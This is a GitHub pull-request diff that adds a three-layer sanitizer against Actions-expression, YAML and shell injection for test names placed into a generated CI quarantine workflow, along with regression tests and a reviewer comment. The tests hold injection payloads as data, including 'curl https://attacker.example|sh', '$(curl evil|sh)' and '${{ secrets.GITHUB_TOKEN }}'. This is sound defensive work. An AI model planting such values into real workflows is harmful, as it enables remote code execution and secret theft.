Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 45 additions & 4 deletions packages/web/src/services/flakyTestService.js
Original file line number Diff line number Diff line change
Expand Up @@ -205,8 +205,49 @@ async function openQuarantinePR({ candidates, repository, octokit }) {
return pr;
}

function buildQuarantineWorkflow(candidates, repository) {
const testFilter = candidates.map(c => c.test_suite + " > " + c.test_name).join("|");
// Boundary sanitizer for untrusted test identifiers (suite and test names
// parsed from repository CI output). These values are interpolated into a
// generated GitHub Actions workflow at THREE layers, and must remain data
// at all of them:
// 1. GitHub Actions expressions — the workflow parser evaluates `${{ … }}`
// ANYWHERE it appears in the file, at parse time, regardless of YAML
// quoting and regardless of shell escaping (a `\${{x}}` still contains
// the literal `${{` and evaluates). The only defense is ensuring the
// sequence never survives: `${{` is broken up (`${ {`) before any
// other escaping.
// 2. YAML — control characters are the only characters that can escape a
// `command: |` block scalar's indentation or a trailing `#` comment
// line and inject workflow structure. This covers C0 plus DEL plus the
// full C1 range (including NEL U+0085) and the YAML 1.1 line-break
// characters LS U+2028 / PS U+2029. They are replaced with spaces; no
// legitimate test identifier contains them.
// 3. Shell — the value lands inside a double-quoted `--testNamePattern=`
// argument. Backslash is escaped FIRST (escaping quotes before
// backslashes lets an attacker's `\"` collapse the escape and close the
// string early), then double quote, dollar sign, and backtick — the
// characters that expand or substitute inside POSIX double quotes.
// Escaping is identical at every interpolation site (filter and comments) by
// policy: one function, no per-site decisions.
export function sanitizeTestIdentifier(value) {
return String(value ?? "")
// GitHub Actions expression injection: break the ${{ opener before
// anything else. Shell-escaping $ as \$ does NOT help here — the
// workflow parser still finds the literal ${{ through the backslash.
.replace(/\$\{\{/g, "${ {")
// YAML layer: C0, DEL, C1 (incl. NEL), and LS/PS line breaks → space.
.replace(/[\u0000-\u001f\u007f-\u009f\u2028\u2029]+/g, " ")
// Shell layer, order critical: backslash first, then the
// expansion/substitution surface of POSIX double quotes.
.replace(/\\/g, "\\\\")
.replace(/"/g, '\\"')
.replace(/\$/g, "\\$")
.replace(/`/g, "\\`");
}

export function buildQuarantineWorkflow(candidates, repository) {
const testFilter = candidates
.map(c => sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name))
.join("|");

return "# Auto-generated by GitWire — Flaky Test Quarantine\n" +
"# DO NOT EDIT — managed by GitWire\n\n" +
Expand All @@ -217,9 +258,9 @@ function buildQuarantineWorkflow(candidates, repository) {
" - name: Set up Node\n uses: actions/setup-node@v4\n with:\n node-version: '20'\n" +
" - run: npm ci\n" +
" - name: Run quarantined tests\n uses: nick-fields/retry@v3\n with:\n timeout_minutes: 15\n max_attempts: 3\n" +
" command: |\n npm test -- --testNamePattern=\"" + testFilter.replace(/"/g, '\\"') + "\" 2>&1\n\n" +
" command: |\n npm test -- --testNamePattern=\"" + testFilter + "\" 2>&1\n\n" +
"# Quarantined tests (" + candidates.length + "):\n" +
candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + c.test_suite + " > " + c.test_name).join("\n") + "\n";
candidates.map(c => "# - [" + Math.round(c.flakiness_score * 100) + "% failure rate] " + sanitizeTestIdentifier(c.test_suite) + " > " + sanitizeTestIdentifier(c.test_name)).join("\n") + "\n";
}

function buildQuarantinePRBody(candidates) {
Expand Down
201 changes: 201 additions & 0 deletions packages/web/tests/unit/flaky-quarantine-escaping.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,201 @@
// tests/unit/flaky-quarantine-escaping.test.js
// CodeQL #5 remediation regressions: untrusted test identifiers (suite and
// test names parsed from repository CI output) are interpolated into the

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] Test-file header comment says identifiers are interpolated at "two layers", omitting the Actions-expression layer the suite tests

The header comment in flaky-quarantine-escaping.test.js states the identifiers are interpolated "at two layers and must remain DATA at both", enumerating only YAML and shell. However, the suite contains dedicated ACTIONS EXPRESSION INJECTION tests asserting the ${{ sequence never survives, and the service-file comment (and the PR description) correctly describe THREE layers, with the Actions-expression layer flagged as the critical one. The stale/incomplete header could mislead a future maintainer into believing the expression layer is untested or unaddressed here. Fix: update the header to list all three layers (Actions expressions, YAML, shell), matching the sanitizer's documentation.

// generated GitHub Actions quarantine workflow at two layers and must remain
// DATA at both:
// YAML — control characters cannot escape the `command: |` block scalar
// or the trailing `#` comment lines to inject workflow structure.
// shell — backslash, double quote, dollar sign, and backtick cannot break
// out of the double-quoted --testNamePattern argument.
//
// The whole generated document is parsed with a real YAML parser (js-yaml),
// and the shell argument is decoded with a POSIX double-quote tokenizer, so
// the assertions hold at the actual parsing layers rather than against
// substring trivia.

import { jest } from "@jest/globals";
import { load as yamlLoad } from "js-yaml";

const mockQuery = jest.fn();

await jest.unstable_mockModule("../../src/lib/db.js", () => ({ db: { query: mockQuery } }));
await jest.unstable_mockModule("../../src/lib/logger.js", () => ({
logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn(), child: () => ({ info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() }) },
}));
await jest.unstable_mockModule("../../src/services/pipelineEvents.js", () => ({ Events: { record: jest.fn() } }));
await jest.unstable_mockModule("@anthropic-ai/sdk", () => ({
default: class { constructor() { this.messages = { create: jest.fn().mockResolvedValue({ content: [{ type: "text", text: "[]" }] }) }; } },
}));
await jest.unstable_mockModule("../../config/index.js", () => ({
config: { server: { env: "test" }, anthropic: { apiKey: "test", baseURL: "http://test" }, ai: { model: "test-model" } },
}));

const { buildQuarantineWorkflow, sanitizeTestIdentifier } = await import("../../src/services/flakyTestService.js");

// POSIX double-quote decoder for a single shell argument. Input: the raw
// command-line tail exactly as the generated line carries it (starting
// AFTER the opening quote). Returns the decoded argument so far and the
// text remaining AFTER the quote that terminated it. The argument is
// well-formed exactly when the terminator is the intended closing quote —
// i.e. `rest` is the intended trailing redirect (`2>&1`) and nothing else.
// Any unescaped quote inside the payload ends the argument early and shows
// up as attacker text in `rest` — precisely the injection this remediation
// must prevent.
function shDecodeDoubleQuoted(raw) {
let out = "";
for (let i = 0; i < raw.length; i += 1) {
const ch = raw[i];
if (ch === "\\") {
out += raw[i + 1] ?? "";
i += 1;
continue;
}
if (ch === `"`) return { out, rest: raw.slice(i + 1) };
out += ch;
}
return { out, rest: "" };
}

// Extract the testNamePattern argument payload from the generated command
// block: everything between `--testNamePattern="` and the line's end.
function extractTestNamePatternRaw(yamlText) {
const line = yamlText.split("\n").find((l) => l.includes("--testNamePattern="));
if (!line) return null;
const at = line.indexOf('--testNamePattern="');
return line.slice(at + '--testNamePattern="'.length);
}

function candidate(suite, name) {
return { test_suite: suite, test_name: name, flakiness_score: 0.42, run_count: 10 };
}

describe("sanitizeTestIdentifier (unit)", () => {
it("strips every C0 control character and DEL to a space (YAML layer)", () => {
const out = sanitizeTestIdentifier("a\nb\rc\td\x00e\x1ff\x7fg");
expect(out).toBe("a b c d e f g");
// No control characters survive anywhere in the sanitized value.
expect(/[\u0000-\u001f\u007f]/.test(out)).toBe(false);
});

it("escapes backslash BEFORE double quote — the \\\" pair cannot close the shell string", () => {
const out = sanitizeTestIdentifier("evil\\\"; touch /tmp/pwned; \\\"");
// The source backslash is doubled first, then the quote is escaped, so a
// POSIX decoder reads: backslash, quote, ; touch ... — all inside the arg.
const decoded = shDecodeDoubleQuoted(out);
expect(decoded.rest).toBe("");
expect(decoded.out).toBe("evil\\\"; touch /tmp/pwned; \\\"");
});

it("escapes dollar sign and backtick (command substitution and expansion stay data)", () => {
const out = sanitizeTestIdentifier("$(id) `id` $HOME");
const decoded = shDecodeDoubleQuoted(out);
expect(decoded.rest).toBe("");
expect(decoded.out).toBe("$(id) `id` $HOME");
expect(out).toContain("\\$");
expect(out).toContain("\\`");
});

it("ACTIONS EXPRESSION INJECTION: ${{ ... }} never survives — the literal sequence is absent from the generated document", () => {
const out = sanitizeTestIdentifier("x ${{ secrets.GITHUB_TOKEN }} ${{ fromJSON('a') }} y");
expect(out.includes("${{")).toBe(false);
// Broken up, not deleted: the payload survives as flattened data.
expect(shDecodeDoubleQuoted(out).out).toBe("x ${ { secrets.GITHUB_TOKEN }} ${ { fromJSON('a') }} y");
});

it("ACTIONS EXPRESSION INJECTION: generated workflow carries no ${{ for expression-bearing names (all sites)", () => {
const evil = "${{ github.actor }} ${{ env.SECRET_X }}";
const yamlText = buildQuarantineWorkflow([candidate("s", evil)], { full_name: "o/r" });
expect(yamlText.includes("${{")).toBe(false);
const doc = yamlLoad(yamlText); // still parses; structure intact
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.rest.trim()).toBe("2>&1");
expect(decoded.out).toContain("${ { github.actor }}");
});

it("YAML 1.1 LINE BREAKS: NEL U+0085, LS U+2028, PS U+2029 and C1 controls are stripped", () => {
const out = sanitizeTestIdentifier('a' + String.fromCharCode(0x85) + 'b' + String.fromCharCode(0x2028) + 'c' + String.fromCharCode(0x2029) + 'd' + String.fromCharCode(0x90) + 'e');
expect(new RegExp("[\\u0080-\\u009f\\u2028\\u2029]").test(out)).toBe(false);
// And the generated document parses with intact structure.
const yamlText = buildQuarantineWorkflow([candidate('s', 'l1' + String.fromCharCode(0x85) + 'jobs:' + String.fromCharCode(0x85) + 'evil')], { full_name: 'o/r' });
const doc = yamlLoad(yamlText);
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
});

it("leaves ordinary test names byte-identical (equivalent quarantine behavior)", () => {
expect(sanitizeTestIdentifier("auth > logs in with valid token [slow]")).toBe("auth > logs in with valid token [slow]");
});
});

describe("buildQuarantineWorkflow (generated-document regressions)", () => {
it("produces a YAML-parseable workflow with exactly one job and the intended steps for a normal candidate", () => {
const doc = yamlLoad(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" }));
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest");
const names = doc.jobs.quarantine.steps.map((s) => s.name ?? s.uses);
expect(names).toEqual(["actions/checkout@v4", "Set up Node", undefined, "Run quarantined tests"]);
// The filter argument decodes to the exact benign name.
const raw = extractTestNamePatternRaw(buildQuarantineWorkflow([candidate("auth", "logs in")], { full_name: "o/r" }));
const decoded = shDecodeDoubleQuoted(raw);
expect(decoded.out).toBe("auth > logs in");
expect(decoded.rest.trim()).toBe("2>&1");
});

it("SHELL INJECTION: a crafted \\\" name cannot terminate the testNamePattern argument", () => {
const evil = 'evil\\"; curl https://attacker.example|sh; \\"';
const yamlText = buildQuarantineWorkflow([candidate("suite", evil)], { full_name: "o/r" });
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe('suite > evil\\"; curl https://attacker.example|sh; \\"');
expect(decoded.rest.trim()).toBe("2>&1"); // the closing quote is the INTENDED one — payload stayed one argument
});

it("SHELL INJECTION: $(), backticks, and $VAR remain literal data", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "$(curl evil|sh) `id` ${IFS}")], { full_name: "o/r" });
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe("s > $(curl evil|sh) `id` ${IFS}");
expect(decoded.rest.trim()).toBe("2>&1");
});

it("YAML STRUCTURE: an embedded newline cannot inject workflow keys — the document parses with unchanged structure", () => {
const evil = "ok\nruns-on: ubuntu-latest\n - run: malicious\non: [push]";
const yamlText = buildQuarantineWorkflow([candidate("s", evil)], { full_name: "o/r" });
// The whole document still parses and the structure is exactly the
// intended single quarantine job.
const doc = yamlLoad(yamlText);
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
expect(doc.jobs.quarantine["runs-on"]).toBe("ubuntu-latest");
expect(doc.jobs.quarantine.steps).toHaveLength(4);
expect(doc.on).toEqual({ schedule: [{ cron: "0 6 * * 1" }], workflow_dispatch: null });
// The injected text survives as data inside the argument, not as YAML.
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toContain("runs-on: ubuntu-latest");
expect(decoded.out).toContain("- run: malicious");
// No line outside the intended template carries the injected markers.
const structureLines = yamlText.split("\n").filter((l) => /^\s*- run: malicious/.test(l) || /^\s*on: \[push\]/.test(l));
expect(structureLines).toEqual([]);
});

it("YAML STRUCTURE: carriage returns are neutralized identically", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "a\r\njobs:\r\n evil: boom")], { full_name: "o/r" });
const doc = yamlLoad(yamlText);
expect(Object.keys(doc.jobs)).toEqual(["quarantine"]);
});

it("multiple candidates join with | and each is sanitized independently", () => {
const yamlText = buildQuarantineWorkflow(
[candidate("s1", 'n\\"1'), candidate("s2", "$x")],
{ full_name: "o/r" },
);
const decoded = shDecodeDoubleQuoted(extractTestNamePatternRaw(yamlText));
expect(decoded.out).toBe('s1 > n\\"1|s2 > $x');
expect(decoded.rest.trim()).toBe("2>&1");
});

it("comment lines carry the same sanitization (no control characters anywhere in the document)", () => {
const yamlText = buildQuarantineWorkflow([candidate("s", "line1\nline2")], { full_name: "o/r" });
expect(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(yamlText)).toBe(false);
// Newlines exist only as the template's own line separators: the comment
// line shows the name flattened to one line.
expect(yamlText).toMatch(/# - \[42% failure rate\] s > line1 line2/);
});
});
Loading